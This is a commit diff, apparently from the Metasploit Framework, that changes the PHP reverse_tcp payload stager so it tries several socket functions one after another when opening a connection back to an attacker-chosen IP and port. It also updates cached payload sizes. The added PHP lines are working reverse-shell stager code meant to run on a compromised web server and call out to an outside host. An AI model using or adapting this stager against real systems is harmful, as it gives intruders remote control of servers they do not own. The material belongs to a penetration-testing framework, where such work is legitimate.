Land #8691, Improve php reverse_tcp stager logic
This commit is contained in:
commit
14b37c2101
|
@ -60,15 +60,18 @@ $port = #{opts[:port]};
|
|||
if (($f = 'stream_socket_client') && is_callable($f)) {
|
||||
$s = $f("tcp://{$ip}:{$port}");
|
||||
$s_type = 'stream';
|
||||
} elseif (($f = 'fsockopen') && is_callable($f)) {
|
||||
}
|
||||
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
|
||||
$s = $f($ip, $port);
|
||||
$s_type = 'stream';
|
||||
} elseif (($f = 'socket_create') && is_callable($f)) {
|
||||
}
|
||||
if (!$s && ($f = 'socket_create') && is_callable($f)) {
|
||||
$s = $f(#{ipf}, SOCK_STREAM, SOL_TCP);
|
||||
$res = @socket_connect($s, $ip, $port);
|
||||
if (!$res) { die(); }
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
}
|
||||
if (!$s_type) {
|
||||
die('no socket funcs');
|
||||
}
|
||||
if (!$s) { die('no socket'); }
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/payload/php/reverse_tcp'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 951
|
||||
CachedSize = 966
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Php::ReverseTcp
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/payload/php/reverse_tcp'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 1125
|
||||
CachedSize = 1140
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Php::ReverseTcp
|
||||
|
|
Loading…
Reference in New Issue